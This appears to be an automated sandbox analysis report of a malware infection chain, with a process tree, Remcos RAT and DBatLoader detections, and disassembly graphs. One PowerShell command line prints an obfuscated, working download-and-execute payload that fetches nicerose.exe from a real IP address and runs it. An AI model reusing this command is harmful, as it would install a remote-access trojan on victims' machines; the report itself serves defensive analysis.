                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:3
                                                                                  Start time:09:35:37
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"
                                                                                  Imagebase:0x80000
                                                                                  File size:433'152 bytes
                                                                                  MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:4
                                                                                  Start time:09:35:41
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline"
                                                                                  Imagebase:0x630000
                                                                                  File size:2'141'552 bytes
                                                                                  MD5 hash:EB80BB1CA9B9C7F516FF69AFCFD75B7D
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:moderate
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:5
                                                                                  Start time:09:35:41
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDF90.tmp" "c:\Users\user\AppData\Local\Temp\mk3z1vxw\CSCE89B4642338842338CD923B6CF8B4F17.TMP"
                                                                                  Imagebase:0xbc0000
                                                                                  File size:46'832 bytes
                                                                                  MD5 hash:70D838A7DC5B359C3F938A71FAD77DB0
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:moderate
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:6
                                                                                  Start time:09:35:49
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Users\user\AppData\Roaming\nicerose.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:"C:\Users\user\AppData\Roaming\nicerose.exe"
                                                                                  Imagebase:0x400000
                                                                                  File size:1'362'944 bytes
                                                                                  MD5 hash:CCDCD04A0FFDE31366754018598EB02F
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:Borland Delphi
                                                                                  Yara matches:
                                                                                  • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000006.00000003.2160535830.000000007FB00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000006.00000002.2252822108.0000000002256000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000006.00000002.2287064849.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                  Antivirus matches:
                                                                                  • Detection: 100%, Avira
                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                  • Detection: 45%, ReversingLabs
                                                                                  Reputation:low
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:8
                                                                                  Start time:09:35:57
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                  Imagebase:0x7ff6ec4b0000
                                                                                  File size:236'544 bytes
                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:9
                                                                                  Start time:09:35:57
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                  Wow64 process (32bit):false
                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  Imagebase:0x7ff7699e0000
                                                                                  File size:862'208 bytes
                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:10
                                                                                  Start time:09:35:58
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\SysWOW64\colorcpl.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:C:\Windows\System32\colorcpl.exe
                                                                                  Imagebase:0x160000
                                                                                  File size:86'528 bytes
                                                                                  MD5 hash:DB71E132EBF1FEB6E93E8A2A0F0C903D
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Yara matches:
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.4486647741.00000000277FE000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                  Reputation:moderate
                                                                                  Has exited:false

                                                                                  General

                                                                                  Target ID:11
                                                                                  Start time:09:36:08
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Users\Public\Libraries\Emxwenem.PIF
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:"C:\Users\Public\Libraries\Emxwenem.PIF"
                                                                                  Imagebase:0x400000
                                                                                  File size:1'362'944 bytes
                                                                                  MD5 hash:CCDCD04A0FFDE31366754018598EB02F
                                                                                  Has elevated privileges:false
                                                                                  Has administrator privileges:false
                                                                                  Programmed in:Borland Delphi
                                                                                  Antivirus matches:
                                                                                  • Detection: 100%, Avira
                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                  • Detection: 45%, ReversingLabs
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:12
                                                                                  Start time:09:36:09
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                  Imagebase:0x240000
                                                                                  File size:236'544 bytes
                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                  Has elevated privileges:false
                                                                                  Has administrator privileges:false
                                                                                  Programmed in:C, C++ or other language
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:13
                                                                                  Start time:09:36:09
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                  Wow64 process (32bit):false
                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  Imagebase:0x7ff7699e0000
                                                                                  File size:862'208 bytes
                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                  Has elevated privileges:false
                                                                                  Has administrator privileges:false
                                                                                  Programmed in:C, C++ or other language
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:14
                                                                                  Start time:09:36:09
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\SysWOW64\colorcpl.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:C:\Windows\System32\colorcpl.exe
                                                                                  Imagebase:0x160000
                                                                                  File size:86'528 bytes
                                                                                  MD5 hash:DB71E132EBF1FEB6E93E8A2A0F0C903D
                                                                                  Has elevated privileges:false
                                                                                  Has administrator privileges:false
                                                                                  Programmed in:C, C++ or other language
                                                                                  Yara matches:
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.2397238923.000000002AD90000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:15
                                                                                  Start time:09:36:17
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Users\Public\Libraries\Emxwenem.PIF
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:"C:\Users\Public\Libraries\Emxwenem.PIF"
                                                                                  Imagebase:0x400000
                                                                                  File size:1'362'944 bytes
                                                                                  MD5 hash:CCDCD04A0FFDE31366754018598EB02F
                                                                                  Has elevated privileges:false
                                                                                  Has administrator privileges:false
                                                                                  Programmed in:Borland Delphi
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:16
                                                                                  Start time:09:36:17
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                  Imagebase:0x240000
                                                                                  File size:236'544 bytes
                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                  Has elevated privileges:false
                                                                                  Has administrator privileges:false
                                                                                  Programmed in:C, C++ or other language
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:17
                                                                                  Start time:09:36:17
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                  Wow64 process (32bit):false
                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  Imagebase:0x7ff7699e0000
                                                                                  File size:862'208 bytes
                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                  Has elevated privileges:false
                                                                                  Has administrator privileges:false
                                                                                  Programmed in:C, C++ or other language
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:18
                                                                                  Start time:09:36:18
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\SysWOW64\colorcpl.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:C:\Windows\System32\colorcpl.exe
                                                                                  Imagebase:0x160000
                                                                                  File size:86'528 bytes
                                                                                  MD5 hash:DB71E132EBF1FEB6E93E8A2A0F0C903D
                                                                                  Has elevated privileges:false
                                                                                  Has administrator privileges:false
                                                                                  Programmed in:C, C++ or other language
                                                                                  Yara matches:
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000012.00000002.2471613728.0000000022DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                  Has exited:true

                                                                                  Disassembly

                                                                                  Reset < >

                                                                                    Executed Functions

                                                                                    Function 068F0FCF Relevance: .0, Instructions: 4COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000003.2048553185.00000000068F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_0_3_68f0000_mshta.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: ff76918a944367de81d1e556ded582aa5f4d5553cffdb7728517409e6615f5df
                                                                                    • Instruction ID: 58ac8dbc3ae0c391f5691c3d93ca5e81a33865f087930323c90164b9ebcd6052
                                                                                    • Opcode Fuzzy Hash: ff76918a944367de81d1e556ded582aa5f4d5553cffdb7728517409e6615f5df
                                                                                    • Instruction Fuzzy Hash:
                                                                                    Function 068F0FC7 Relevance: .0, Instructions: 4COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000003.2048553185.00000000068F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_0_3_68f0000_mshta.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: ff76918a944367de81d1e556ded582aa5f4d5553cffdb7728517409e6615f5df
                                                                                    • Instruction ID: 58ac8dbc3ae0c391f5691c3d93ca5e81a33865f087930323c90164b9ebcd6052
                                                                                    • Opcode Fuzzy Hash: ff76918a944367de81d1e556ded582aa5f4d5553cffdb7728517409e6615f5df
                                                                                    • Instruction Fuzzy Hash:
                                                                                    Function 068F0FDF Relevance: .0, Instructions: 4COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000003.2048553185.00000000068F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_0_3_68f0000_mshta.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: ff76918a944367de81d1e556ded582aa5f4d5553cffdb7728517409e6615f5df
                                                                                    • Instruction ID: 58ac8dbc3ae0c391f5691c3d93ca5e81a33865f087930323c90164b9ebcd6052
                                                                                    • Opcode Fuzzy Hash: ff76918a944367de81d1e556ded582aa5f4d5553cffdb7728517409e6615f5df
                                                                                    • Instruction Fuzzy Hash:
                                                                                    Function 068F0FE7 Relevance: .0, Instructions: 4COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000003.2048553185.00000000068F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_0_3_68f0000_mshta.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: ff76918a944367de81d1e556ded582aa5f4d5553cffdb7728517409e6615f5df
                                                                                    • Instruction ID: 58ac8dbc3ae0c391f5691c3d93ca5e81a33865f087930323c90164b9ebcd6052
                                                                                    • Opcode Fuzzy Hash: ff76918a944367de81d1e556ded582aa5f4d5553cffdb7728517409e6615f5df
                                                                                    • Instruction Fuzzy Hash:

                                                                                    Execution Graph

                                                                                    Execution Coverage:3.7%
                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                    Signature Coverage:17%
                                                                                    Total number of Nodes:47
                                                                                    Total number of Limit Nodes:6
                                                                                    execution_graph 9427 50d763d 9428 50d75da 9427->9428 9430 50d764b 9427->9430 9435 50d7da8 9428->9435 9439 50d7c45 9428->9439 9447 50d7a18 9428->9447 9456 50d7a08 9428->9456 9429 50d75df 9436 50d7cf9 9435->9436 9436->9435 9465 7d14610 9436->9465 9473 7d145f4 9436->9473 9441 50d7b9a 9439->9441 9444 50d7c5e 9439->9444 9440 50d7de8 URLDownloadToFileW 9443 50d7ea8 9440->9443 9441->9439 9441->9440 9443->9429 9445 7d14610 3 API calls 9444->9445 9446 7d145f4 3 API calls 9444->9446 9445->9444 9446->9444 9452 50d7a4c 9447->9452 9448 50d7de8 URLDownloadToFileW 9451 50d7ea8 9448->9451 9449 50d7b30 9449->9429 9451->9429 9452->9448 9452->9449 9453 50d7c5e 9452->9453 9454 7d14610 3 API calls 9453->9454 9455 7d145f4 3 API calls 9453->9455 9454->9453 9455->9453 9457 50d7a4c 9456->9457 9458 50d7de8 URLDownloadToFileW 9457->9458 9459 50d7b30 9457->9459 9462 50d7c5e 9457->9462 9461 50d7ea8 9458->9461 9459->9429 9461->9429 9463 7d14610 3 API calls 9462->9463 9464 7d145f4 3 API calls 9462->9464 9463->9462 9464->9462 9466 7d14a93 9465->9466 9467 7d14641 9465->9467 9466->9436 9467->9466 9470 50d7a08 4 API calls 9467->9470 9471 50d7a18 4 API calls 9467->9471 9472 50d7c45 4 API calls 9467->9472 9481 50d1bf8 9467->9481 9468 7d14a34 9468->9436 9470->9468 9471->9468 9472->9468 9475 7d14610 9473->9475 9474 7d14a93 9474->9436 9475->9474 9477 50d1bf8 URLDownloadToFileW 9475->9477 9478 50d7a08 4 API calls 9475->9478 9479 50d7a18 4 API calls 9475->9479 9480 50d7c45 4 API calls 9475->9480 9476 7d14a34 9476->9436 9477->9476 9478->9476 9479->9476 9480->9476 9482 50d7e00 URLDownloadToFileW 9481->9482 9484 50d7ea8 9482->9484 9484->9468

                                                                                    Executed Functions

                                                                                    Function 050D7A18 Relevance: 1.9, APIs: 1, Instructions: 355COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 335 50d7a18-50d7a4a 336 50d7a4c-50d7a53 335->336 337 50d7a90 335->337 338 50d7a55-50d7a62 336->338 339 50d7a64 336->339 340 50d7a93-50d7acf 337->340 341 50d7a66-50d7a68 338->341 339->341 349 50d7b58-50d7b63 340->349 350 50d7ad5-50d7ade 340->350 343 50d7a6f-50d7a71 341->343 344 50d7a6a-50d7a6d 341->344 346 50d7a73-50d7a80 343->346 347 50d7a82 343->347 348 50d7a8e 344->348 351 50d7a84-50d7a86 346->351 347->351 348->340 352 50d7b65-50d7b68 349->352 353 50d7b72-50d7b94 349->353 350->349 354 50d7ae0-50d7ae6 350->354 351->348 352->353 361 50d7c5e-50d7cf6 353->361 362 50d7b9a-50d7ba3 353->362 355 50d7aec-50d7af9 354->355 356 50d7de8-50d7e52 354->356 359 50d7b4f-50d7b56 355->359 360 50d7afb-50d7b2e 355->360 372 50d7e5d-50d7e63 356->372 373 50d7e54-50d7e5a 356->373 359->349 359->354 374 50d7b4b 360->374 375 50d7b30-50d7b33 360->375 400 50d7cf9-50d7d52 361->400 362->356 366 50d7ba9-50d7be7 362->366 382 50d7be9-50d7bff 366->382 383 50d7c01-50d7c14 366->383 377 50d7e65-50d7e6e 372->377 378 50d7e71-50d7ea6 URLDownloadToFileW 372->378 373->372 374->359 379 50d7b3f-50d7b48 375->379 380 50d7b35-50d7b38 375->380 377->378 384 50d7eaf-50d7ec3 378->384 385 50d7ea8-50d7eae 378->385 380->379 386 50d7c16-50d7c1d 382->386 383->386 385->384 388 50d7c1f-50d7c30 386->388 389 50d7c42-50d7c58 386->389 388->389 394 50d7c32-50d7c3b 388->394 389->361 389->362 394->389 412 50d7d55 call 7d14610 400->412 413 50d7d55 call 7d145f4 400->413 405 50d7d57-50d7d60 406 50d7d7a-50d7d8d 405->406 407 50d7d62-50d7d78 405->407 408 50d7d8f-50d7d96 406->408 407->408 409 50d7d98-50d7d9e 408->409 410 50d7da5-50d7daf 408->410 409->410 410->400 412->405 413->405
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2179895759.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_50d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 19314e904c4d502368f251a8fa1a5cb907b7bd00d5da898bb050109aebd6d0b7
                                                                                    • Instruction ID: 7bd0197255828fbcc555e841fe477f34ae2ffbde4f56182de671306b29a6b1df
                                                                                    • Opcode Fuzzy Hash: 19314e904c4d502368f251a8fa1a5cb907b7bd00d5da898bb050109aebd6d0b7
                                                                                    • Instruction Fuzzy Hash: F5E1F775A01219AFDB05CF98D484BAEFBF2FF88310F248159E805AB351C775AD91CBA0
                                                                                    Function 07D11F40 Relevance: 5.6, Strings: 4, Instructions: 562COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 0 7d11f40-7d11f65 1 7d12158-7d121a2 0->1 2 7d11f6b-7d11f70 0->2 10 7d12326-7d1236a 1->10 11 7d121a8-7d121ad 1->11 3 7d11f72-7d11f78 2->3 4 7d11f88-7d11f8c 2->4 6 7d11f7a 3->6 7 7d11f7c-7d11f86 3->7 8 7d11f92-7d11f94 4->8 9 7d12108-7d12112 4->9 6->4 7->4 14 7d11fa4 8->14 15 7d11f96-7d11fa2 8->15 12 7d12120-7d12126 9->12 13 7d12114-7d1211d 9->13 31 7d12480-7d124b5 10->31 32 7d12370-7d12375 10->32 20 7d121c5-7d121c9 11->20 21 7d121af-7d121b5 11->21 17 7d12128-7d1212a 12->17 18 7d1212c-7d12138 12->18 16 7d11fa6-7d11fa8 14->16 15->16 16->9 24 7d11fae-7d11fcd 16->24 28 7d1213a-7d12155 17->28 18->28 25 7d122d8-7d122e2 20->25 26 7d121cf-7d121d1 20->26 22 7d121b7 21->22 23 7d121b9-7d121c3 21->23 22->20 23->20 66 7d11fdd 24->66 67 7d11fcf-7d11fdb 24->67 33 7d122e4-7d122ec 25->33 34 7d122ef-7d122f5 25->34 29 7d121e1 26->29 30 7d121d3-7d121df 26->30 36 7d121e3-7d121e5 29->36 30->36 56 7d124e3-7d124ed 31->56 57 7d124b7-7d124d9 31->57 38 7d12377-7d1237d 32->38 39 7d1238d-7d12391 32->39 42 7d122f7-7d122f9 34->42 43 7d122fb-7d12307 34->43 36->25 46 7d121eb-7d1220a 36->46 44 7d12381-7d1238b 38->44 45 7d1237f 38->45 47 7d12432-7d1243c 39->47 48 7d12397-7d12399 39->48 50 7d12309-7d12323 42->50 43->50 44->39 45->39 89 7d1221a 46->89 90 7d1220c-7d12218 46->90 58 7d12449-7d1244f 47->58 59 7d1243e-7d12446 47->59 54 7d123a9 48->54 55 7d1239b-7d123a7 48->55 62 7d123ab-7d123ad 54->62 55->62 63 7d124f7-7d124fd 56->63 64 7d124ef-7d124f4 56->64 93 7d124db-7d124e0 57->93 94 7d1252d-7d12556 57->94 60 7d12451-7d12453 58->60 61 7d12455-7d12461 58->61 71 7d12463-7d1247d 60->71 61->71 62->47 75 7d123b3-7d123b5 62->75 72 7d12503-7d1250f 63->72 73 7d124ff-7d12501 63->73 74 7d11fdf-7d11fe1 66->74 67->74 77 7d12511-7d1252a 72->77 73->77 74->9 79 7d11fe7-7d11fee 74->79 80 7d123b7-7d123bd 75->80 81 7d123cf-7d123d6 75->81 79->1 86 7d11ff4-7d11ff9 79->86 87 7d123c1-7d123cd 80->87 88 7d123bf 80->88 91 7d123d8-7d123de 81->91 92 7d123ee-7d1242f 81->92 97 7d12011-7d12020 86->97 98 7d11ffb-7d12001 86->98 87->81 88->81 95 7d1221c-7d1221e 89->95 90->95 99 7d123e0 91->99 100 7d123e2-7d123ec 91->100 116 7d12585-7d125b4 94->116 117 7d12558-7d1257e 94->117 95->25 104 7d12224-7d1225b 95->104 97->9 111 7d12026-7d12044 97->111 105 7d12003 98->105 106 7d12005-7d1200f 98->106 99->92 100->92 123 7d12275-7d1227c 104->123 124 7d1225d-7d12263 104->124 105->97 106->97 111->9 125 7d1204a-7d1206f 111->125 126 7d125b6-7d125d3 116->126 127 7d125ed-7d125f7 116->127 117->116 132 7d12294-7d122d5 123->132 133 7d1227e-7d12284 123->133 130 7d12265 124->130 131 7d12267-7d12273 124->131 125->9 150 7d12075-7d1207c 125->150 144 7d125d5-7d125e7 126->144 145 7d1263d-7d12642 126->145 128 7d12600-7d12606 127->128 129 7d125f9-7d125fd 127->129 135 7d12608-7d1260a 128->135 136 7d1260c-7d12618 128->136 130->123 131->123 137 7d12286 133->137 138 7d12288-7d12292 133->138 143 7d1261a-7d1263a 135->143 136->143 137->132 138->132 144->127 145->144 152 7d120c2-7d120f5 150->152 153 7d1207e-7d12099 150->153 164 7d120fc-7d12105 152->164 157 7d120b3-7d120b7 153->157 158 7d1209b-7d120a1 153->158 162 7d120be-7d120c0 157->162 159 7d120a3 158->159 160 7d120a5-7d120b1 158->160 159->157 160->157 162->164
